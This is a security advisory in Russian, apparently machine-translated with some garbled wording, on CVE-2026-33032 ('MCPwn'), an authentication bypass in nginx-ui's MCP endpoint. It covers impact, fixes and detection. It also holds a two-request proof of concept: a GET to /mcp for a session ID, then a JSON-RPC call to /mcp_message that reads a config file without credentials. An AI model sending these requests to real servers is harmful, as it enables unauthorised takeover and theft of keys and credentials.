1. Описание уязвимости
Пользовательский интерфейс Nginx это широко используемый графический инструмент управления Nginx с открытым исходным кодом. В его интегрированном MCP (Контекстный протокол модели) Серьезная уязвимость обхода аутентификации, связанная с недоработкой в реализации кода, существует в интерфейсе под кодовым названием MCPwnНет. CVE-2026-33032.
Основной причиной уязвимости является логическая ошибка при регистрации маршрутов:/mcp конечные точки подвержены влиянию AuthRequired() защита промежуточного ПО, но его парная часть, используемая для получения инструкций вызова инструмента для /mcp_message Конечные точки при развертыванииЭто промежуточное ПО аутентификации отсутствует. Это позволяет любому злоумышленнику, имеющему сетевой доступ к этому пользовательскому интерфейсу, взять на себя управление службой Nginx без каких-либо учетных данных.
2. влияние уязвимостей
•Номер CVE: CVE-2026-33032
•прозвища: MCPwn
•Рейтинг CVSS 3.1:9.8 (критический) (Вектор: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
•Тип уязвимости: Обход аутентификации (CWE-306)
•Затронутые версии:nginx-ui < 2.3.4
•версия для реставрации: nginx-ui ≥ 2.3.4
•Технологическое воздействие:
•Произвольные изменения конфигурации: через edit_config Инструмент переписывает серверный блок, чтобы вставить в него сервер, находящийся под контролем злоумышленника.
•захват сервиса: через reload_nginx Вредоносная конфигурация с немедленным действием, или stop_nginx вызывая отказ в обслуживании (DoS).
•утечка конфиденциальной информации: Утилизация read_file инструменты для чтения конфиденциальных файлов, таких как закрытые ключи TLS, системные учетные данные и так далее.
•Контроль постоянства: Злоумышленники могут использовать создать_сертификат Перевыпускайте контролируемые сертификаты или комбинируйте их с другими уязвимостями, чтобы добиться долгосрочной скрытности.
3. POC (Proof of Concept)
Цепочка атак очень проста, для завершения захвата требуется всего два HTTP-запроса:
Шаг 1: Получение идентификатора сеанса
Злоумышленник делает запрос к неограниченной конечной точке потока SSE, чтобы получить идентификатор сессии, необходимый для выполнения последующих команд.
GET /mcp HTTP/1.1 Хост: :9000
Ожидаемый ответ: Возвращает список, содержащий sessionID=XYZ Поток данных.
Шаг 2: Выполните команду инструмента с повышенными привилегиями
Использование приобретенных идентификатор сессии 向 /mcp_message Отправляйте вызовы JSON-RPC, например, для чтения конфиденциальных файлов:
POST /mcp_message?sessionID=XYZ
HTTP/1.1
Хост: :9000
Content-Type: application/json
{ "jsonrpc": "2.0", "method": "read_file", "params": { "path": "/etc/nginx/nginx.conf" }, "id": 1 }
Цепочка эксплуатации уязвимостей (Chain )
Эта уязвимость часто ассоциируется с CVE-2026-27944(Unauthorised Backup Download Vulnerability) используется в комбинации. Последняя может скомпрометировать секрет узлаДаже после устранения уязвимости 33032 злоумышленник может получить доступ к интерфейсу MCP, если ключ не будет своевременно поворачиваться.
4. Предложения или программы по реабилитации
4.1 Ремонт ядра
•Обновить сейчас: Обновление nginx-ui до 2.3.4 или выше. Официальный патч был исправлен в регистрации маршрута AuthRequired() Звоните.
// Исправленный фрагмент кода
r.ПОСТ("/mcp_message", AuthRequired(), mcpMessageHandler)
4.2 Смягчение и консолидация
•изоляция портов: Никогда не открывайте порт управления nginx-ui (по умолчанию 9000) напрямую в публичную сеть, используйте VPN, бастион или брандмауэр (политика белых списков) для контроля доступа.
•функция отключения: Если управление с помощью искусственного интеллекта не требуется, модуль MCP можно полностью отключить в конфигурационном файле.
•Вращение клавиш: Обязательно поворачивайте при обновлении секрет узлаКлюч SSL и все конфиденциальные учетные данные, хранящиеся в панели.
4.3 Средства обнаружения
•автоматизированное тестирование: Доступно keraattin/CVE-2026-33032 Неразрушающий контроль с помощью поставляемых скриптов Python или плагина Nmap NSE.
5. ссылки на цитаты
Оригинальная статья написана Chief Security Officer, при воспроизведении просьба указывать: https://www.cncso.com/ru/nginx-ui-mcp-authentication-bypass.html.